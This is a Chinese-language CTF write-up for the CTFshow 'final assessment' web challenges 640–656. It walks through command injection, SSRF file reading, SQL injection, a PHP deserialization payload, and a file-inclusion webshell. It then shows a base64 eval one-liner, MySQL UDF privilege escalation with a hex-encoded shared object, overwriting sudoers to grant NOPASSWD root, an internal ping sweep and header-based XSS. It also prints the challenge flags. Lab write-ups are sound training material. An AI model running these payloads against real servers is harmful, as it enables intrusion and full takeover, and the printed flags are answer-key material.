CTFSHOW终极考核

故里[TRUE]

发布于 2024-02-24 10:15:43

2300

发布于 2024-02-24 10:15:43

文章被收录于专栏：网络安全【故里】网络安全【故里】

CTFSHOW终极考核

web640

ctfshow{060ae7a27d203604baeb125f939570ef}

web641

扫目录

/.bowerrc 

{
    "directory" : "vendor/bower-asset"
}

gitignore

/.idea
/.vscode
/vendor
*.log
.env

travis.yml

sudo: false

language: php

branches:
  only:
    - stable

cache:
  directories:
    - $HOME/.composer/cache

before_install:
  - composer self-update

install:
  - composer install --no-dev --no-interaction --ignore-platform-reqs
  - zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Core.zip .
  - composer require --update-no-dev --no-interaction "topthink/think-image:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-migration:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-captcha:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-mongo:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-worker:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-helper:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-queue:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-angular:^1.0"
  - composer require --dev --update-no-dev --no-interaction "topthink/think-testing:^1.0"
  - zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Full.zip .

script:
  - php think unit

deploy:
  provider: releases
  api_key:
    secure: TSF6bnl2JYN72UQOORAJYL+CqIryP2gHVKt6grfveQ7d9rleAEoxlq6PWxbvTI4jZ5nrPpUcBUpWIJHNgVcs+bzLFtyh5THaLqm39uCgBbrW7M8rI26L8sBh/6nsdtGgdeQrO/cLu31QoTzbwuz1WfAVoCdCkOSZeXyT/CclH99qV6RYyQYqaD2wpRjrhA5O4fSsEkiPVuk0GaOogFlrQHx+C+lHnf6pa1KxEoN1A0UxxVfGX6K4y5g4WQDO5zT4bLeubkWOXK0G51XSvACDOZVIyLdjApaOFTwamPcD3S1tfvuxRWWvsCD5ljFvb2kSmx5BIBNwN80MzuBmrGIC27XLGOxyMerwKxB6DskNUO9PflKHDPI61DRq0FTy1fv70SFMSiAtUv9aJRT41NQh9iJJ0vC8dl+xcxrWIjU1GG6+l/ZcRqVx9V1VuGQsLKndGhja7SQ+X1slHl76fRq223sMOql7MFCd0vvvxVQ2V39CcFKao/LB1aPH3VhODDEyxwx6aXoTznvC/QPepgWsHOWQzKj9ftsgDbsNiyFlXL4cu8DWUty6rQy8zT2b4O8b1xjcwSUCsy+auEjBamzQkMJFNlZAIUrukL/NbUhQU37TAbwsFyz7X0E/u/VMle/nBCNAzgkMwAUjiHM6FqrKKBRWFbPrSIixjfjkCnrMEPw=
  file:
    - ThinkPHP_Core.zip
    - ThinkPHP_Full.zip
  skip_cleanup: true
  on:
    tags: true

同时page.php注释也有个hint

<!-- partial:index.partial.html -->

查看index.php源码能看到有个特殊路径

/system36d/static/css/start.css

那么尝试直接访问system36d，会显示让登录

看源码有个index.js，在里面找到个flag

于此同时还找到个返回路径，应该是登录成功之后的返回路径，直接拼接试试

checklogin.php?s=10

直接跳转，貌似是未授权了

继续看源码，找到很多路径而且有很多功能

访问这个download的路径，users.php?action=backup

下载的文件里有flag

发现可以新增用户，加了一个用户而且是管理员

退出之后用新增的号登录，但是发现不行，退出之后不是到登录界面了，而是回到那个密码锁界面了，目前还不知道密码锁的正确密码，继续看看其他利用点，发现有个网络测试，貌似是可以执行命令

但是只能执行三个特定的命令，所以我们抓包来修改，发现可以正常执行其他命令

发现有个secret.txt，直接拼接访问是url编码

解码得到一个flag

但是部分命令是没办法执行的，还有个功能是phpinfo，以及robots里面给了个source.txt

include 'init.php';

function addUser($data,$username,$password){
   $ret = array(
      'code'=>0,
      'message'=>'添加成功'
   );
   if(existsUser($data,$username)==0){
      $s = $data.$username.'@'.$password.'|';
      file_put_contents(DB_PATH, $s);

   }else{
      $ret['code']=-1;
      $ret['message']='用户已存在';
   }

   return json_encode($ret);
}

function updateUser($data,$username,$password){
   $ret = array(
      'code'=>0,
      'message'=>'更新成功'
   );
   if(existsUser($data,$username)>0 && $username!='admin'){
      $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
      file_put_contents(DB_PATH, $s);

   }else{
      $ret['code']=-1;
      $ret['message']='用户不存在或无权更新';
   }

   return json_encode($ret);
}

function delUser($data,$username){
   $ret = array(
      'code'=>0,
      'message'=>'删除成功'
   );
   if(existsUser($data,$username)>0 && $username!='admin'){
      $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
      file_put_contents(DB_PATH, $s);

   }else{
      $ret['code']=-1;
      $ret['message']='用户不存在或无权删除';
   }

   return json_encode($ret);

}

function existsUser($data,$username){
   return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function initCache(){
   return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
}

function clearCache(){
   shell_exec('rm -rf cache.php');
   return 'ok';
}

function flushCache(){
   if(file_exists('cache.php') && file_get_contents('cache.php')===false){
      return FLAG646;
   }else{
      return '';
   }
}

function netTest($cmd){
   $ret = array(
      'code'=>0,
      'message'=>'命令执行失败'
   );

   if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
      $res = shell_exec($cmd);
      stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
      
   }
   if(preg_match('/^[A-Za-z]+$/', $cmd)){
      $res = shell_exec($cmd);
      stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
   }
   
   return json_encode($ret);
}

在phpinfo中也可以看到是禁用了一部分function的

然后继续看其他点，发现有个更新功能，key就是645的flag

显示地址不可达，抓包尝试一下ssrf，发现可以任意文件读取，得到一个flag

结合上面列出来的目录文件，都读一下看看，在init.php中又找到一个flag

同时注意有个文件的名字/db/data_you_never_know.db，猜测里面应该就是641的flag，也就是那个admin的密码，尝试读取一下，发现不是，这个就是那个备份的内容

util/common.php

<?php    
    
include 'dbutil.php';    
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){    
    die('651flag\u672a\u62ff\u5230');    
}    
if(isset($_POST['file']) && file_exists($_POST['file'])){    
    if(db::get_key()==$_POST['key']){    
        include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];   
    } 
}

/util/dbutil.php

<?php

class db{
    private static $host='localhost';
    private static $username='root';
    private static $password='root';
    private static $database='ctfshow';
    private static $conn;

    public static function get_key(){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query('select `key` from ctfshow_keys');
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['key'];
        self::close();
        return $ret;
    }

    public static function get_username($id){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query("select `username` from ctfshow_users where id = ($id)");
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['username'];
        self::close();
        return $ret;
    }

    private static function get_conn(){
        if(self::$conn==null){
            self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
        }
        return self::$conn;
    }

    private static function close(){
        if(self::$conn!==null){
            self::$conn->close();
        }
    }

}

util/auth.php

if($_SESSION['user_id']==10 || $_SESSION['user_id']==99){\r\n\r\n}else{\r\n\theader('location:\/system36d\/');

users.php

<?php


error_reporting(0);
session_start();
include 'init.php';

$a=$_GET['action'];


$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
    case 'list':
        $ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
        break;
    case 'add':
        $ret = addUser($data,$_GET['username'],$_GET['password']);
        break;
    case 'del':
        $ret = delUser($data,$_GET['username']);
        break;
    case 'update':
        $ret = updateUser($data,$_GET['username'],$_GET['password']);
        break;
    case 'backup':
        backupUsers();
        break;
    case 'upload':
        $ret = recoveryUsers();
        break;
    case 'phpInfo':
        $ret = phpInfoTest();
        break;
    case 'netTest':
        $ret = netTest($_GET['cmd']);
        break;
    case 'remoteUpdate':
        $ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
        break;
    case 'authKeyValidate':
        $ret = authKeyValidate($_GET['auth']);
        break;
    case 'evilString':
        evilString($_GET['m']);
        break;
    case 'evilNumber':
        evilNumber($_GET['m'],$_GET['key']);
        break;
    case 'evilFunction':
        evilFunction($_GET['m'],$_GET['key']);
        break;
    case 'evilArray':
        evilArray($_GET['m'],$_GET['key']);
        break;
    case 'evilClass':
        evilClass($_GET['m'],$_GET['key']);
        break;
    default:
        $ret = json_encode(array(
        'code'=>0,
        'message'=>'\u6570\u636e\u83b7\u53d6\u5931\u8d25',
        ));
        break;
}

echo $ret;



function getUsers($data,$page=1,$limit=10){
    $ret = array(
        'code'=>0,
        'message'=>'\u6570\u636e\u83b7\u53d6\u6210\u529f',
        'data'=>array()
    );

    
    $isadmin = '\u5426';
    $pass = '';
    $content='\u65e0';

    $users = explode('|', $data);
    array_pop($users);
    $index = 1;

    foreach ($users as $u) {
        if(explode('@', $u)[0]=='admin'){
            $isadmin = '\u662f';
            $pass = 'flag\u5c31\u662f\u7ba1\u7406\u5458\u7684\u5bc6\u7801\uff0c\u4e0d\u8fc7\u6211\u9690\u85cf\u4e86';
            $content = '\u5220\u9664\u6b64\u6761\u8bb0\u5f55\u540eflag\u5c31\u4f1a\u6d88\u5931';
        }else{
            $pass = explode('@', $u)[1];
        }
        array_push($ret['data'], array(
            'id'=>$index,
            'username'=>explode('@', $u)[0],
            'password'=>$pass,
            'isAdmin'=>$isadmin,
            'content'=>$content
        ));
        $index +=1;
    }
    $ret['count']=$index;
    $start = ($page-1)*$limit;
    $ret['data']=array_slice($ret['data'], $start,$limit,true);

    return json_encode($ret);

}

function addUser($data,$username,$password){
    $ret = array(
        'code'=>0,
        'message'=>'\u6dfb\u52a0\u6210\u529f'
    );
    if(existsUser($data,$username)==0){
        $s = $data.$username.'@'.$password.'|';
        file_put_contents(DB_PATH, $s);

    }else{
        $ret['code']=-1;
        $ret['message']='\u7528\u6237\u5df2\u5b58\u5728';
    }

    return json_encode($ret);
}

function updateUser($data,$username,$password){
    $ret = array(
        'code'=>0,
        'message'=>'\u66f4\u65b0\u6210\u529f'
    );
    if(existsUser($data,$username)>0 && $username!='admin'){
        $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', $username.'@'.$password.'|', $data);
        file_put_contents(DB_PATH, $s);

    }else{
        $ret['code']=-1;
        $ret['message']='\u7528\u6237\u4e0d\u5b58\u5728\u6216\u65e0\u6743\u66f4\u65b0';
    }

    return json_encode($ret);
}

function delUser($data,$username){
    $ret = array(
        'code'=>0,
        'message'=>'\u5220\u9664\u6210\u529f'
    );
    if(existsUser($data,$username)>0 && $username!='admin'){
        $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', '', $data);
        file_put_contents(DB_PATH, $s);

    }else{
        $ret['code']=-1;
        $ret['message']='\u7528\u6237\u4e0d\u5b58\u5728\u6216\u65e0\u6743\u5220\u9664';
    }

    return json_encode($ret);

}

function existsUser($data,$username){
    return preg_match('/'.$username.'@[0-9a-zA-Z]+\\|/', $data);
}

function backupUsers(){
    $file_name = DB_PATH;
    if (! file_exists ($file_name )) {    
        header('HTTP/1.1 404 NOT FOUND');  
    } else {    
        $file = fopen ($file_name, "rb" ); 
        Header ( "Content-type: application/octet-stream" ); 
        Header ( "Accept-Ranges: bytes" );  
        Header ( "Accept-Length: " . filesize ($file_name));  
        Header ( "Content-Disposition: attachment; filename=backup.dat");     
        echo str_replace(FLAG645, 'flag\u5c31\u5728\u8fd9\u91cc\uff0c\u53ef\u60dc\u4e0d\u80fd\u7ed9\u4f60', fread ( $file, filesize ($file_name)));    
        fclose ( $file );    
        exit ();    
    }
}

function getArray($total, $times, $min, $max)
    {
        $data = array();
        if ($min * $times > $total) {
            return array();
        }
        if ($max * $times < $total) {
            return array();
        }
        while ($times >= 1) {
            $times--;
            $kmix = max($min, $total - $times * $max);
            $kmax = min($max, $total - $times * $min);
            $kAvg = $total / ($times + 1);
            $kDis = min($kAvg - $kmix, $kmax - $kAvg);
            $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
            $k = round($kAvg + $r);
            $total -= $k;
            $data[] = $k;
        }
        return $data;
 }


function recoveryUsers(){
    $ret = array(
        'code'=>0,
        'message'=>'\u6062\u590d\u6210\u529f'
    );
    if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
        $file_name= $_FILES['file']['tmp_name'];
        $result = move_uploaded_file($file_name, DB_PATH);
        if($result===false){
            $ret['message']='\u6570\u636e\u6062\u590d\u5931\u8d25 file_name'.$file_name.' DB_PATH='.DB_PATH;
        }

    }else{
        $ret['message']='\u6570\u636e\u6062\u590d\u5931\u8d25';
    }

    return json_encode($ret);
}

function phpInfoTest(){
    return phpinfo();

}

function authKeyValidate($auth){
    $ret = array(
        'code'=>0,
        'message'=>$auth==substr(FLAG645, 8)?'\u9a8c\u8bc1\u6210\u529f':'\u9a8c\u8bc1\u5931\u8d25',
        'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
    );
    return json_encode($ret);
}

function remoteUpdate($auth,$address){
    $ret = array(
        'code'=>0,
        'message'=>'\u66f4\u65b0\u5931\u8d25'
    );

    if($auth!==substr(FLAG645, 8)){
        $ret['message']='\u6743\u9650key\u9a8c\u8bc1\u5931\u8d25';
        return json_encode($ret);
    }else{
        $content = file_get_contents($address);
        $ret['message']=($content!==false?$content:'\u5730\u5740\u4e0d\u53ef\u8fbe');
    }

    return json_encode($ret);


}

function evilString($m){
    $key = '372619038';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE){
        echo shell_exec('cat /FLAG/FLAG647');
    }else{
        echo 'you are not 372619038?';
    }

}

function evilClass($m,$k){
    class ctfshow{
        public $m;
        public function construct($m){
            $this->$m=$m;
        }
    }

    $ctfshow=new ctfshow($m);
    $ctfshow->$m=$m;
    if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
        echo shell_exec('cat /FLAG/FLAG648');
    }else{
        echo 'mmmmm?';
    }

}

function evilNumber($m,$k){
    $number = getArray(1000,20,10,999);
    if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
        echo shell_exec('cat /FLAG/FLAG649');
    }else{
        echo 'number is right?';
    }
}

function evilFunction($m,$k){
    $key = 'ffffffff';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
        echo shell_exec('cat /FLAG/FLAG650');
    }else{
        echo 'you are not ffffffff?';
    }
}

function evilArray($m,$k){
    $arrays=unserialize($m);
    if($arrays!==false){
        if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
            echo shell_exec('cat /FLAG/FLAG651');
        }else{
            echo 'array?';
        }
    }
}

function netTest($cmd){
    $ret = array(
        'code'=>0,
        'message'=>'\u547d\u4ee4\u6267\u884c\u5931\u8d25'
    );

    if(preg_match('/^[A-Za-z]+$/', $cmd)){
        $res = shell_exec($cmd);
        stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
    }
    
    return json_encode($ret);
}

回过头也读一下最开始的index.php和那个page.php，在index.php中终于得到了641的flag

ctfshow{affac61c787a82cc396585bea8ecf2dc}

web642

见web641，已经找到flag

ctfshow{11a17b6fbdc69cedfb374f55026700fe}

web643

见web641，已经找到flag

ctfshow{616cd5fc37968fc20810b2db30152717}

web644

见web641，已经找到flag

ctfshow{2bb9f2183f102f6f2aedbea4788f9f1d}

web645

见web641，已经找到flag

ctfshow{28b00f799c2e059bafaa1d6bda138d89}

web646

见web641，已经找到flag

ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}

web647

读取的page.php刚开始看到一个传参点，sqlmap跑一下

存在注入

在ctfshow_secret这个表里得到了一个flag

得到了key key_is_here_you_know

继续回过头，刚才的user.php的源码其实是有647的cat，看一下如何满足条件

function evilString($m){
    $key = '372619038';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE){
        echo shell_exec('cat /FLAG/FLAG647');
    }else{
        echo 'you are not 372619038?';
    }

}

让其返回数组就能满足条件

ctfshow{e6ad8304cdb562971999b476d8922219}

web648

648也是在users.php，满足条件即可

function evilClass($m,$k){
    class ctfshow{
        public $m;
        public function construct($m){
            $this->$m=$m;
        }
    }

    $ctfshow=new ctfshow($m);
    $ctfshow->$m=$m;
    if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
        echo shell_exec('cat /FLAG/FLAG648');
    }else{
        echo 'mmmmm?';
    }

}

就是传个m的值然后传个647的flag就行

flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}

web649

还是在这里面

function evilNumber($m,$k){
    $number = getArray(1000,20,10,999);
    if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
        echo shell_exec('cat /FLAG/FLAG649');
    }else{
        echo 'number is right?';
    }
}

这个就为空值返回null即可绕过，刚开始一直赋值null过不去，本地能过去，不理解为啥，直接空值即可

flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}

web650

function evilFunction($m,$k){
    $key = 'ffffffff';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
        echo shell_exec('cat /FLAG/FLAG650');
    }else{
        echo 'you are not ffffffff?';
    }
}

getenv即可，也类似于null绕过吧

(PHP 4, PHP 5, PHP 7, PHP 8) getenv — 获取单个或者全部环境变量 getenv(?string name = null, bool local_only = false): string|array|false 获取单个或者全部环境变量。 name string 形式的变量名或为 null。 local_only 当设置为 true 时，仅返回由操作系统或 putenv() 设置的本地环境变量。这只在 name 是 string 时才生效。

flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}

web651

function evilArray($m,$k){
    $arrays=unserialize($m);
    if($arrays!==false){
        if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
            echo shell_exec('cat /FLAG/FLAG651');
        }else{
            echo 'array?';
        }
    }
}

反序列化

<?php
class poc{
    public $username = 'ctfshow';
    public $h = 'ctfshow';
}
$h = new poc;
echo urlencode(serialize($h));

flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

web652

见web647，已经找到flag

flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}

web653

上面找到一个util/common.php的源码可以利用文件包含导致getshell

<?php    
    
include 'dbutil.php';    
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){    
    die('651flag\u672a\u62ff\u5230');    
}    
if(isset($_POST['file']) && file_exists($_POST['file'])){    
    if(db::get_key()==$_POST['key']){    
        include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];   
    } 
}

这里面的key猜测就是上面数据库得到的一个内容，key_is_here_you_know，其次就是这里面有个open_basedir:/var/www/html:/tmp，可以包含/var/www/html/system36d/db/data_you_never_know.db，先提前恢复一下在里面写个马

http://a2e72102-1662-482d-888b-d1cf82d16b8c.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

file=../../../../../var/www/html/system36d/db/data_you_never_know.db&key=key_is_here_you_know&1=phpinfo();

蚁剑连接，根目录的secret.txt得到flag

flag_653=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}

web654

这个马不太方便，再写一个一句话，用一句话连

echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' |base64 -d > 1.php

翻文件尝试提权，在etc里面看到一个bak【sudoers.bak】文件，里面发现root和mysql是最高权限的用户,尝试UDF提权

数据库密码弱口令

show variables like "%plugin%";

/usr/lib/mariadb/plugin/

在sqlmap里面找到udf提权的so文件，提取hex数据方便写入文件,file_put_contents直接写so

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* file_put_contents('/var/www/html/1.so',hex2bin('7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B201000010000000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*/

然后mv到plugin

mv 1.so /usr/lib/mariadb/plugin/1.so

# 创建自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME '1.so';


select sys_eval('ls');

上边也说了，mysql等价于root，直接sudo就能看root文件夹

祝贺你，你已经完全控制了这台服务器，为你一路以来的坚持和努力，点赞！

                  真不容易啊，师傅好样的！

不过别高兴的太早，这只是第一关，后面还有更艰难的挑战，你准备好了吗！

对了，这是给你的flag 

flag_654=ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9} 

                                   ——大菜鸡 2021年8月2日02时12

web655

给www-data也加上sudo

www-data ALL=(ALL:ALL) NOPASSWD:ALL

echo 'd3d3LWRhdGEgQUxMPShBTEw6QUxMKSBOT1BBU1NXRDpBTEw='|base64 -d >/var/www/html/sudoers

select sys_eval('sudo cp /var/www/html/sudoers /etc/sudoers');

(www-data:/var/www/html) $ ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
961506: eth0@if961507: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP 
    link/ether 02:42:ac:02:8d:04 brd ff:ff:ff:ff:ff:ff
    inet 172.2.141.4/24 brd 172.2.141.255 scope global eth0
       valid_lft forever preferred_lft forever

这台机子算是拿完了，同时这台机子不出网

这地方两种思路，要么想办法传进去fscan等文件，要么就是写个sh脚本来探测内网

因为fscan太大了，不好传，这里看了其他师傅思路大部分也都是写个sh脚本来进行探测

#!/bin/bash
ip=1
while [ $ip != "254" ]; do
    ping 172.2.141.$ip -c 2 | grep -q "ttl=" && echo "172.2.141.$ip yes" || echo "172.2.141.$ip no" >/dev/null 2>&1
    ip=`expr "$ip" "+" "1"`
done

echo 'IyEvYmluL2Jhc2gKaXA9MQp3aGlsZSBbICRpcCAhPSAiMjU0IiBdOyBkbwogICAgcGluZyAxNzIuMi4xNDEuJGlwIC1jIDIgfCBncmVwIC1xICJ0dGw9IiAmJiBlY2hvICIxNzIuMi4xNDEuJGlwIHllcyIgfHwgZWNobyAiMTcyLjIuMTQxLiRpcCBubyIgPi9kZXYvbnVsbCAyPiYxCiAgICBpcD1gZXhwciAiJGlwIiAiKyIgIjEiYApkb25l'|base64 -d > 1.sh

(www-data:/var/www/html) $ cat r.txt
172.2.141.1 yes
172.2.141.2 yes
172.2.141.3 yes
172.2.141.4 yes
172.2.141.5 yes
172.2.141.6 yes
172.2.141.7 yes

一顿测试发现http://172.2.141.5/phpinfo.php存在flag

flag_655=ctfshow{aada21bce99ddeab20020ac714686303}

web656

同时发现还存在源码泄露

下载下来看一下发现有个index.php【满足条件可以获得flag657.658.660】

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-08-04 15:54:48
# @Last Modified by:   h1xa
# @Last Modified time: 2021-08-05 00:43:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include 'dbutil.php';
include 'flag.php';

error_reporting(0);
session_start();


$a=$_GET['action'];

switch ($a){
    case 'login':
       $ret = login($_GET['u'],$_GET['p']);
        break;
    case 'index':
       $ret = index();
        break;
    case 'main':
       $ret = main($_GET['m']);
       break;
    default:
         $ret = json_encode(array(
      'code'=>0,
      'message'=>'数据获取失败',
      ));
      break;
}


echo $ret;


function index(){
    $html='管理员请注意，下面是最近登陆失败用户：<br>';
    $ret=db::query('select username,login_time,login_ip from ctfshow_logs  order by id desc limit 3');
    foreach ($ret as $r) {
       $html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
       .$r[1]
       .'<br>登陆失败IP: '
       .$r[2].
       '<br>------------<br>';
    }
    return $html;
    
}

function login($u,$p){
   $ret = array(
   'code'=>0,
   'message'=>'数据获取失败',
   );
   $u = addslashes($u);
   $p = addslashes($p);
   $res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
   $date = new DateTime('now');
   $now = $date->format('Y-m-d H:i:s');
   $ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
   

   if(count($res)==0){
        db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
       $ret['message']='账号或密码错误';
       return json_encode($ret);
   }

   if(!auth()){
      $ret['message']='AuthKey 错误';
   }else{
      $ret['message']='登陆成功';
      $_SESSION['login']=true;
      $_SESSION['flag_660']=$_GET['flag'];
   }

   return json_encode($ret);


}

function auth(){
   $auth = base64_decode($_COOKIE['auth']);
   return $auth==AUTH_KEY;
}

function getFlag(){
   return  FLAG_657;
}

function testFile($f){
   $result = '';
   $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
   if(file_exists($file)){
      $result = FLAG_658;
   }
   return $result;

}


function main($m){
   $ret = array(
   'code'=>0,
   'message'=>'数据获取失败',
   );
   if($_SESSION['login']==true){
      
      switch ($m) {
         case 'getFlag':
            $ret['message']=getFlag();
            break;
         case 'testFile':
            $ret['message']=testFile($_GET['f']);
            break;
         default:
            # code...
            break;
      }
      

   }else{
      $ret['message']='请先登陆';
   }

   return json_encode($ret);
}

首先发现存在XSS，可以在XFF处写入恶意代码，外带XSS

username和password这俩地方不好注入，存在addslashes函数转义字符，所以XFF最合适

echo `curl --header 'X-Forwarded-For: <script>alert(1);</script>' http://172.2.141.5/index.php?action=login`;

